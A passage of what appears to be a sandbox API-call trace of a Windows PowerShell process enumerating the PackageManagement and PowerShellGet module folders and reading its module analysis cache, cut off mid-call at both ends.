Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0113.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0113.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe538 [0113.673] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.673] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.673] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.673] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.673] FindClose (in: hFindFile=0x4fe538 | out: hFindFile=0x4fe538) returned 1 [0113.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.674] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.674] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.674] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.674] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.674] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.675] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0113.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0113.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0113.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0113.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe538 [0113.682] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.682] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.682] FindNextFileW (in: hFindFile=0x4fe538, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.682] FindClose (in: hFindFile=0x4fe538 | out: hFindFile=0x4fe538) returned 1 [0113.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec00) returned 1 [0113.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59eeec4 | out: lpFileInformation=0x59eeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebfc) returned 1 [0113.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0113.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x23609f4 | out: lpFileInformation=0x23609f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0113.727] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x59eded4, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.728] CoTaskMemAlloc (cb=0x20c) returned 0x4f1f260 [0113.728] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x4f1f260 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0113.728] CoTaskMemFree (pv=0x4f1f260) [0113.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0113.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0113.728] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0113.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0113.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0113.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee678) returned 1 [0113.730] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.730] GetFileType (hFile=0x3c8) returned 0x1 [0113.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee674) returned 1 [0113.730] GetFileType (hFile=0x3c8) returned 0x1 [0113.731] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361b44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee6ec, lpOverlapped=0x0 | out: lpBuffer=0x2361b44*, lpNumberOfBytesRead=0x59ee6ec*=0x1000, lpOverlapped=0x0) returned 1 [0113.740] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361713, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59ee6f4, lpOverlapped=0x0 | out: lpBuffer=0x2361713*, lpNumberOfBytesRead=0x59ee6f4*=0x1, lpOverlapped=0x0) returned 1 [0113.740] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361b44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee6e0, lpOverlapped=0x0 | out: lpBuffer=0x2361b44*, lpNumberOfBytesRead=0x59ee6e0*=0x1000, lpOverlapped=0x0) returned 1 [0113.741] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361711, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x59ee6f4, lpOverlapped=0x0 | out: lpBuffer=0x2361711*, lpNumberOfBytesRead=0x59ee6f4*=0x13, lpOverlapped=0x0) returned 1 [0113.741] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361b44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee6f4, lpOverlapped=0x0 | out: lpBuffer=0x2361b44*, lpNumberOfBytesRead=0x59ee6f4*=0x1000, lpOverlapped=0x0) returned 1 [0113.742] ReadFile (in: hFile=0x3c8, lpBuffer=0x2361b44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee6f4, lpOverlapped=0x0 | out: lpBuffer=0x2361b44*, lpNumberOfBytesRead=0x59ee6f4*=0x4fd, lpOverlapped=0x0) returned 1 [0113.743] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x59ee554, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.860] CloseHandle (hObject=0x3c8) returned 1 [0113.860] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe578 [0113.861] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.861] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.862] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.862] FindClose (in: hFindFile=0x4fe578 | out: hFindFile=0x4fe578) returned 1 [0113.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec00) returned 1 [0113.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59eeec4 | out: lpFileInformation=0x59eeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebfc) returned 1 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0113.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2373ba8 | out: lpFileInformation=0x2373ba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0113.862] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0113.863] GetFileAttributesW (lpFileName="C:\\Program 